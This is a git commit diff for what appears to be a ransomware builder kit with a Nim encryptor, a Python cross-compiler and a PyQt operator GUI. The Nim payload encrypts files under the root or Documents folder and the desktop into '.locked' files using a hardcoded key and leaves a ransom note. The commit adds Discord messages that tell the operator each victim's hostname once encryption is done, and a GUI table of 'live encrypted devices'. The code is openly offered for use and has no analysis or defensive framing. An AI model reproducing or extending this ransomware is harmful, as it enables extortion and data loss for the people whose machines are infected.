Fixed the Decrypter
This commit is contained in:
@ -1,4 +1,4 @@
|
||||
import os, nimcrypto, strutils
|
||||
import os, nimcrypto, strutils, osproc, dimscord, asyncdispatch, options
|
||||
|
||||
const defaultHtml = """
|
||||
<!DOCTYPE html>
|
||||
@ -104,13 +104,46 @@ proc openInDefaultBrowser(filePath: string) =
|
||||
except OSError as e:
|
||||
echo "Error opening browser: ", e.msg
|
||||
|
||||
const
|
||||
discordToken = ""
|
||||
creatorId = ""
|
||||
|
||||
proc getHostname(): string =
|
||||
when defined(windows):
|
||||
let (output, exitCode) = execCmdEx("hostname")
|
||||
if exitCode == 0:
|
||||
return output.strip()
|
||||
else:
|
||||
return "unknown_hostname"
|
||||
else:
|
||||
let (output, exitCode) = execCmdEx("hostname")
|
||||
if exitCode == 0:
|
||||
return output.strip()
|
||||
else:
|
||||
return "unknown_hostname"
|
||||
|
||||
let machineName = getHostname()
|
||||
|
||||
proc sendDiscordMessage(message: string) {.async.} =
|
||||
if discordToken.len == 0 or creatorId.len == 0:
|
||||
echo "Discord token or creator ID is missing. Skipping notification."
|
||||
return
|
||||
|
||||
let discord = newDiscordClient(discordToken)
|
||||
|
||||
try:
|
||||
let dm = await discord.api.createUserDm(creatorId)
|
||||
discard await discord.api.sendMessage(dm.id, machineName & ": " & message)
|
||||
except Exception as e:
|
||||
echo "Failed to send Discord message: ", e.msg
|
||||
|
||||
proc main() =
|
||||
when defined(decrypt):
|
||||
const decryptMode = true
|
||||
else:
|
||||
const decryptMode = false
|
||||
|
||||
const key = "hellow3n2wnj2nwww21"
|
||||
const key = "0123456789abcdef0123456789abcdef"
|
||||
const iv = "abcdef9876543210"
|
||||
const extension = ".locked"
|
||||
var htmlContent = defaultHtml
|
||||
@ -125,28 +158,29 @@ proc main() =
|
||||
else:
|
||||
root = "/"
|
||||
|
||||
let correctedExtension = if extension.startsWith("."): extension else: "." & extension
|
||||
|
||||
if decryptMode:
|
||||
echo "Starting decryption..."
|
||||
for dir in [root, desktop]:
|
||||
for file in walkDirRec(dir):
|
||||
if file.endsWith(extension):
|
||||
if file.endsWith(correctedExtension):
|
||||
files.add(file)
|
||||
|
||||
echo "Found ", files.len, " files to decrypt."
|
||||
for file in files:
|
||||
decryptFile(file, key, iv, extension)
|
||||
decryptFile(file, key, iv, correctedExtension)
|
||||
echo "Decryption complete."
|
||||
else:
|
||||
echo "Starting encryption..."
|
||||
for dir in [targetDir, desktop]:
|
||||
for file in walkDirRec(dir):
|
||||
if fileExists(file) and not file.endsWith(extension) and not file.contains("ransom.html"):
|
||||
if fileExists(file) and not file.endsWith(correctedExtension) and not file.contains("ransom.html"):
|
||||
files.add(file)
|
||||
|
||||
echo "Found ", files.len, " files to encrypt."
|
||||
for file in files:
|
||||
processFile(file, key, iv, extension)
|
||||
processFile(file, key, iv, correctedExtension)
|
||||
|
||||
let ransomFile = joinPath(desktop, "ransom.html")
|
||||
try:
|
||||
@ -155,6 +189,10 @@ proc main() =
|
||||
echo "Ransom note created at ", ransomFile
|
||||
except OSError as e:
|
||||
echo "Error creating or opening ransom note: ", e.msg
|
||||
waitFor sendDiscordMessage("Encryption complete")
|
||||
|
||||
when not isMainModule:
|
||||
discard
|
||||
|
||||
when isMainModule:
|
||||
main()
|
||||
|
||||
51
compiler.py
51
compiler.py
@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
import platform
|
||||
import sys
|
||||
import os
|
||||
import shutil
|
||||
@ -9,15 +10,22 @@ import shlex
|
||||
import subprocess
|
||||
import tempfile
|
||||
import base64
|
||||
def compile_nim(nim_file, output_exe, os_name, arch, hide_console=False):
|
||||
def compile_nim(nim_file, output_exe, os_name, arch, hide_console=False, nim_defines=None):
|
||||
output_exe = Path(output_exe).resolve()
|
||||
print(f"[*] Compiling Nim -> {os_name}:{arch}")
|
||||
|
||||
if nim_defines is None:
|
||||
nim_defines = []
|
||||
|
||||
nim_cmd = [
|
||||
"nim", "c",
|
||||
"-d:release",
|
||||
"-d:ssl",
|
||||
]
|
||||
|
||||
for define in nim_defines:
|
||||
nim_cmd.append(f"-d:{define}")
|
||||
|
||||
if os_name == "windows":
|
||||
if sys.platform == "darwin":
|
||||
nim_cmd.append("-d:mingw")
|
||||
@ -115,14 +123,21 @@ def apply_options_with_regex(content, options):
|
||||
if not options:
|
||||
return content
|
||||
|
||||
new_options = []
|
||||
for option in options:
|
||||
key, value = option.split("=", 1)
|
||||
escaped_value = value.replace('\\', '\\\\').replace('"', '\\"')
|
||||
pattern = re.compile(r'((?:let|const|var)\s+' + re.escape(key) + r'\s*=\s*(?:[a-zA-Z0-9_]+\()?)".*?"', re.DOTALL)
|
||||
content = pattern.sub(r'\1"' + escaped_value + '"', content, count=1)
|
||||
return content
|
||||
if "=" in option:
|
||||
key, value = option.split("=", 1)
|
||||
# This is a key-value pair, apply with regex
|
||||
escaped_value = value.replace('\\', '\\\\').replace('"', '\\"')
|
||||
pattern = re.compile(r'((?:let|const|var)\s+' + re.escape(key) + r'\s*=\s*(?:[a-zA-Z0-9_]+\()?)".*?"', re.DOTALL)
|
||||
content = pattern.sub(r'\1"' + escaped_value + '"', content, count=1)
|
||||
else:
|
||||
# This is a flag-like option, keep it for later
|
||||
new_options.append(option)
|
||||
|
||||
def merge_nim_modules(nim_files, out_dir: Path, options=None):
|
||||
return content, new_options
|
||||
|
||||
def merge_nim_modules(nim_files, out_dir: Path, options=None) -> (Path, list):
|
||||
"""Merge multiple Nim modules into a single file, deduplicating imports and combining proc main()."""
|
||||
if len(nim_files) < 2:
|
||||
print("[Error] At least two Nim files must be provided for merging.")
|
||||
@ -135,6 +150,7 @@ def merge_nim_modules(nim_files, out_dir: Path, options=None):
|
||||
merged_imports = set()
|
||||
merged_code = []
|
||||
main_contents = []
|
||||
remaining_options = list(options) if options else []
|
||||
|
||||
for f in nim_files:
|
||||
fpath = Path(f)
|
||||
@ -145,7 +161,7 @@ def merge_nim_modules(nim_files, out_dir: Path, options=None):
|
||||
with open(f, "r", encoding="utf-8") as fh:
|
||||
content = fh.read()
|
||||
|
||||
content = apply_options_with_regex(content, options)
|
||||
content, remaining_options = apply_options_with_regex(content, remaining_options)
|
||||
|
||||
main_contents.append(extract_main_proc(content))
|
||||
|
||||
@ -214,18 +230,22 @@ def merge_nim_modules(nim_files, out_dir: Path, options=None):
|
||||
with open(out_path, "w", encoding="utf-8") as fh:
|
||||
fh.write(final_content)
|
||||
|
||||
# print("[*] --- Begin Combined Nim Code ---\n" + final_content + "\n[*] --- End Combined Nim Code ---")
|
||||
print("[*] --- Begin Combined Nim Code ---\n" + final_content + "\n[*] --- End Combined Nim Code ---")
|
||||
print(f"[+] Wrote merged Nim file: {out_path}")
|
||||
return out_path
|
||||
return out_path, remaining_options
|
||||
|
||||
def patch_nim_file(nim_file: Path, options: list):
|
||||
def patch_nim_file(nim_file: Path, options: list) -> list:
|
||||
"""Injects const declarations into a single Nim file."""
|
||||
nim_defines = []
|
||||
if options:
|
||||
print(f"[*] Patching {nim_file.name} with options: {options}")
|
||||
content = nim_file.read_text(encoding="utf-8")
|
||||
|
||||
content = apply_options_with_regex(content, options)
|
||||
content, nim_defines = apply_options_with_regex(content, options)
|
||||
nim_file.write_text(content, encoding="utf-8")
|
||||
|
||||
print(f"[*] Found nim defines: {nim_defines}")
|
||||
return nim_defines
|
||||
|
||||
def parse_target(target_str):
|
||||
"""Parse the target string into OS and architecture."""
|
||||
@ -450,16 +470,17 @@ def main():
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
tmp_dir = Path(tmpdir)
|
||||
nim_defines = []
|
||||
if args.merge:
|
||||
launcher_source = merge_nim_modules(args.merge, tmp_dir, options=nim_options)
|
||||
launcher_source, nim_defines = merge_nim_modules(args.merge, tmp_dir, options=nim_options)
|
||||
else:
|
||||
launcher_source = Path(args.nim_file)
|
||||
patch_nim_file(launcher_source, nim_options)
|
||||
nim_defines = patch_nim_file(launcher_source, nim_options)
|
||||
|
||||
suffix = ".exe" if target_os == "windows" else ""
|
||||
nim_exe_tmp = tmp_dir / f"{final_exe.stem}_nim_payload{suffix}"
|
||||
should_hide_nim_console = args.hide_console and target_os == "windows"
|
||||
compile_nim(launcher_source, nim_exe_tmp, target_os, target_arch, hide_console=should_hide_nim_console)
|
||||
compile_nim(launcher_source, nim_exe_tmp, target_os, target_arch, hide_console=should_hide_nim_console, nim_defines=nim_defines)
|
||||
|
||||
if not args.nim_only and target_os == 'windows':
|
||||
print("[*] Generating Rust wrapper to embed Nim payload.")
|
||||
|
||||
148
main.py
148
main.py
@ -12,7 +12,9 @@ from PyQt5.QtWidgets import (
|
||||
QListWidgetItem, QSizePolicy
|
||||
)
|
||||
from PyQt5.QtGui import QFont, QPixmap, QMovie
|
||||
from PyQt5.QtCore import Qt, QThread, pyqtSignal
|
||||
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject
|
||||
import discord
|
||||
import asyncio
|
||||
|
||||
ASCII = r"""
|
||||
"""
|
||||
@ -58,7 +60,9 @@ MODULE_OPTIONS = {
|
||||
'iv': 'abcdef9876543210',
|
||||
'extension': '.locked',
|
||||
'targetDir': '$HOME/Documents',
|
||||
'htmlContent': 'YOUR_HTML_RANSOM_NOTE_CONTENT_HERE'
|
||||
'htmlContent': 'YOUR_HTML_RANSOM_NOTE_CONTENT_HERE',
|
||||
'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
|
||||
'creatorId': 'YOUR_DISCORD_USER_ID'
|
||||
},
|
||||
'module/poof': {
|
||||
'targetDir': '$HOME/Documents'
|
||||
@ -69,6 +73,43 @@ MODULE_OPTIONS = {
|
||||
}
|
||||
}
|
||||
|
||||
class DiscordListener(QObject):
|
||||
device_status_update = pyqtSignal(str, str)
|
||||
|
||||
def __init__(self, token):
|
||||
super().__init__()
|
||||
self.token = token
|
||||
self.client = discord.Client(intents=discord.Intents.default())
|
||||
|
||||
@self.client.event
|
||||
async def on_ready():
|
||||
print(f'GUI Listener logged in as {self.client.user}')
|
||||
self.device_status_update.emit("SYSTEM", f"Connected to Discord as {self.client.user}")
|
||||
|
||||
@self.client.event
|
||||
async def on_message(message):
|
||||
if message.author == self.client.user:
|
||||
return
|
||||
|
||||
if isinstance(message.channel, discord.DMChannel):
|
||||
content = message.content
|
||||
if ':' in content:
|
||||
parts = content.split(':', 1)
|
||||
hostname, status_msg = parts[0].strip(), parts[1].strip()
|
||||
|
||||
if "Encryption complete." in status_msg:
|
||||
self.device_status_update.emit(hostname, "Encrypted")
|
||||
|
||||
async def run_client(self):
|
||||
try:
|
||||
await self.client.start(self.token)
|
||||
except discord.LoginFailure:
|
||||
self.device_status_update.emit("ERROR", "Discord login failed. Check the token.")
|
||||
|
||||
async def stop_client(self):
|
||||
if self.client:
|
||||
await self.client.close()
|
||||
|
||||
class BuildThread(QThread):
|
||||
log_signal = pyqtSignal(str, str)
|
||||
finished_signal = pyqtSignal(int)
|
||||
@ -107,6 +148,27 @@ class BuildThread(QThread):
|
||||
self.log_signal.emit(f"An unexpected error occurred during build: {e}", "error")
|
||||
self.finished_signal.emit(-1)
|
||||
|
||||
class DiscordListenerThread(QThread):
|
||||
device_status_update = pyqtSignal(str, str)
|
||||
|
||||
def __init__(self, token):
|
||||
super().__init__()
|
||||
self.token = token
|
||||
self.listener = None
|
||||
self.loop = None
|
||||
|
||||
def run(self):
|
||||
self.loop = asyncio.new_event_loop()
|
||||
asyncio.set_event_loop(self.loop)
|
||||
listener = DiscordListener(self.token)
|
||||
listener.device_status_update.connect(self.device_status_update)
|
||||
self.listener = listener
|
||||
self.loop.run_until_complete(listener.run_client())
|
||||
|
||||
def stop(self):
|
||||
if self.loop and self.listener:
|
||||
self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client())
|
||||
self.device_status_update.emit("SYSTEM", "Disconnected from Discord.")
|
||||
|
||||
class ModuleTableWidget(QTableWidget):
|
||||
"""A QTableWidget that supports drag-and-drop row reordering."""
|
||||
@ -149,6 +211,7 @@ class RABIDSGUI(QMainWindow):
|
||||
self.selected_modules = []
|
||||
self.loading_movie = None
|
||||
self.build_thread = None
|
||||
self.discord_thread = None
|
||||
self.option_inputs = {}
|
||||
self.module_options_group = None
|
||||
self.loot_files_list = None
|
||||
@ -574,6 +637,7 @@ class RABIDSGUI(QMainWindow):
|
||||
self.uncrash_build_btn.clicked.connect(self.run_uncrash_compiler)
|
||||
uncrash_options_layout.addWidget(self.uncrash_build_btn)
|
||||
|
||||
uncrash_options_layout.addStretch()
|
||||
uncrash_layout.addWidget(uncrash_options_group)
|
||||
|
||||
bottom_section_layout = QHBoxLayout()
|
||||
@ -581,15 +645,33 @@ class RABIDSGUI(QMainWindow):
|
||||
left_column_widget = QWidget()
|
||||
left_column_layout = QVBoxLayout(left_column_widget)
|
||||
|
||||
devices_header_layout = QHBoxLayout()
|
||||
encrypted_devices_label = QLabel("LIVE ENCRYPTED DEVICES")
|
||||
encrypted_devices_label.setFont(title_font)
|
||||
devices_header_layout.addWidget(encrypted_devices_label)
|
||||
devices_header_layout.addStretch()
|
||||
left_column_layout.addLayout(devices_header_layout)
|
||||
|
||||
listener_layout = QHBoxLayout()
|
||||
listener_label = QLabel("Listener Bot Token:")
|
||||
listener_label.setFont(subtitle_font)
|
||||
listener_label.setStyleSheet("color: #f7f294;")
|
||||
self.listener_token_edit = QLineEdit()
|
||||
self.listener_token_edit.setPlaceholderText("Enter your GUI's Discord bot token here")
|
||||
self.listener_token_edit.setFont(subtitle_font)
|
||||
self.toggle_listener_btn = QPushButton("Connect")
|
||||
self.toggle_listener_btn.setFont(subtitle_font)
|
||||
self.toggle_listener_btn.clicked.connect(self.toggle_discord_listener)
|
||||
listener_layout.addWidget(listener_label)
|
||||
listener_layout.addWidget(self.listener_token_edit, 1)
|
||||
listener_layout.addWidget(self.toggle_listener_btn)
|
||||
left_column_layout.addLayout(listener_layout)
|
||||
|
||||
self.encrypted_devices_table = QTableWidget()
|
||||
self.encrypted_devices_table.setColumnCount(2)
|
||||
self.encrypted_devices_table.setHorizontalHeaderLabels(["Device", "Status"])
|
||||
self.encrypted_devices_table.setColumnCount(1)
|
||||
self.encrypted_devices_table.setHorizontalHeaderLabels(["Device"])
|
||||
self.encrypted_devices_table.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
|
||||
self.encrypted_devices_table.horizontalHeader().setSectionResizeMode(1, QHeaderView.ResizeToContents)
|
||||
|
||||
left_column_layout.addWidget(encrypted_devices_label)
|
||||
|
||||
left_column_layout.addWidget(self.encrypted_devices_table)
|
||||
|
||||
uncrash_image_label = QLabel()
|
||||
@ -1081,7 +1163,7 @@ class RABIDSGUI(QMainWindow):
|
||||
f"--option=key={key}",
|
||||
f"--option=iv={iv}",
|
||||
f"--option=extension={ext}",
|
||||
"--option=decrypt=true"
|
||||
"--option=decrypt"
|
||||
]
|
||||
cmd.extend(options)
|
||||
|
||||
@ -1091,6 +1173,56 @@ class RABIDSGUI(QMainWindow):
|
||||
self.build_thread.finished_signal.connect(self.build_finished)
|
||||
self.build_thread.start()
|
||||
|
||||
def toggle_discord_listener(self):
|
||||
if self.discord_thread and self.discord_thread.isRunning():
|
||||
# Stop the listener
|
||||
self.discord_thread.stop()
|
||||
self.discord_thread.quit()
|
||||
self.discord_thread.wait()
|
||||
self.discord_thread = None
|
||||
self.toggle_listener_btn.setText("Connect")
|
||||
self.listener_token_edit.setEnabled(True)
|
||||
self.log_message("Discord listener disconnected.", "system")
|
||||
else:
|
||||
# Start the listener
|
||||
token = self.listener_token_edit.text()
|
||||
if not token:
|
||||
self.log_message("Error: Discord listener bot token is required.", "error")
|
||||
self.tab_widget.setCurrentIndex(1)
|
||||
return
|
||||
|
||||
if self.discord_thread and self.discord_thread.isRunning():
|
||||
self.log_message("Listener is already running.", "system")
|
||||
return
|
||||
|
||||
self.discord_thread = DiscordListenerThread(token)
|
||||
self.discord_thread.device_status_update.connect(self.update_device_status)
|
||||
self.discord_thread.start()
|
||||
self.toggle_listener_btn.setText("Disconnect")
|
||||
self.listener_token_edit.setEnabled(False)
|
||||
|
||||
def update_device_status(self, hostname, status):
|
||||
if hostname == "SYSTEM" or hostname == "ERROR":
|
||||
msg_type = "error" if hostname == "ERROR" else "system"
|
||||
self.log_message(f"Listener: {status}", msg_type)
|
||||
if "failed" in status:
|
||||
self.toggle_listener_btn.setText("Connect")
|
||||
self.toggle_listener_btn.setEnabled(True)
|
||||
self.listener_token_edit.setEnabled(True)
|
||||
return
|
||||
|
||||
for row in range(self.encrypted_devices_table.rowCount()):
|
||||
item = self.encrypted_devices_table.item(row, 0)
|
||||
if item and item.text() == hostname:
|
||||
if status == "Decrypted": # Device is decrypted, remove it
|
||||
self.encrypted_devices_table.removeRow(row)
|
||||
return
|
||||
|
||||
if status == "Encrypted": # New device is encrypted, add it
|
||||
row_position = self.encrypted_devices_table.rowCount()
|
||||
self.encrypted_devices_table.insertRow(row_position)
|
||||
self.encrypted_devices_table.setItem(row_position, 0, QTableWidgetItem(hostname))
|
||||
|
||||
def update_restore_destination_view(self):
|
||||
self.clear_garbage_loading_view()
|
||||
self.restore_dest_files_list.clear()
|
||||
|
||||
Reference in New Issue
Block a user